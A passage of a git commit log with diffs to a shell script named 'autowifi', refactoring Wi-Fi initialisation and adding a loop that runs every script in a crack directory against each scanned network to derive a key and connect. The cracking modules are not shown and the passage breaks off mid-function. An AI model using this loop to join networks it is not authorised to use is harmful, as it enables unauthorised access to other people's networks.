b/usr/bin/autowifi @@ -63,9 +63,10 @@ find_count_of_ssid(){ connect_to_network_by_ssid(){ + wifi_init find_count_of_ssid "$1" | (while read i do - loop_over_cracks $i + loop_over_cracks "$i" && exit 0 done;exit 1) if [ $? -eq 0 ]; then exit 0 @@ -75,6 +76,7 @@ connect_to_network_by_ssid(){ } connect_with_pw(){ + wifi_init find_count_of_ssid "$1" | (while read i do KEY="$2" @@ -84,14 +86,16 @@ connect_with_pw(){ fi done;exit 1) } - -loop_over_networks(){ - +wifi_init(){ wpa_supplicant_is_usable || start_wpa_supplicant /tmp/autowifi.wpa_supplicant wifi_scan > /tmp/${interface}.scan . /tmp/${interface}.scan +} +loop_over_networks(){ + wifi_init + for i in `seq 1 $WIFI_COUNT`; do - loop_over_cracks $i + loop_over_cracks "$i" if [ $? -eq 0 ]; then return 0 fi -- cgit v1.2.3 From f5f47bf26a3d4fdae0480fb3614e3a9f24ef1085 Mon Sep 17 00:00:00 2001 From: lassulus Date: Wed, 12 Jun 2013 23:58:52 +0200 Subject: looping now cracks over networks --- usr/bin/autowifi | 19 +++++++++++++++++-- 1 file changed, 17 insertions(+), 2 deletions(-) (limited to 'usr/bin') diff --git a/usr/bin/autowifi b/usr/bin/autowifi index d9337cf4..6fb64f95 100755 --- a/usr/bin/autowifi +++ b/usr/bin/autowifi @@ -116,6 +116,21 @@ loop_over_cracks(){ done return 1 } +loop_cracks_over_networks(){ + wifi_init + for crack in $(find $crackdir -type f | sort -u); do + for i in `seq 1 $WIFI_COUNT`; do + KEY="$(eval root=$root \$crack \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${FREQ_${i}} \${ENCRYPTION_${i}})" + if [ $? -eq 0 ]; then + eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\" + if [ $? -eq 0 ]; then + return 0 + fi +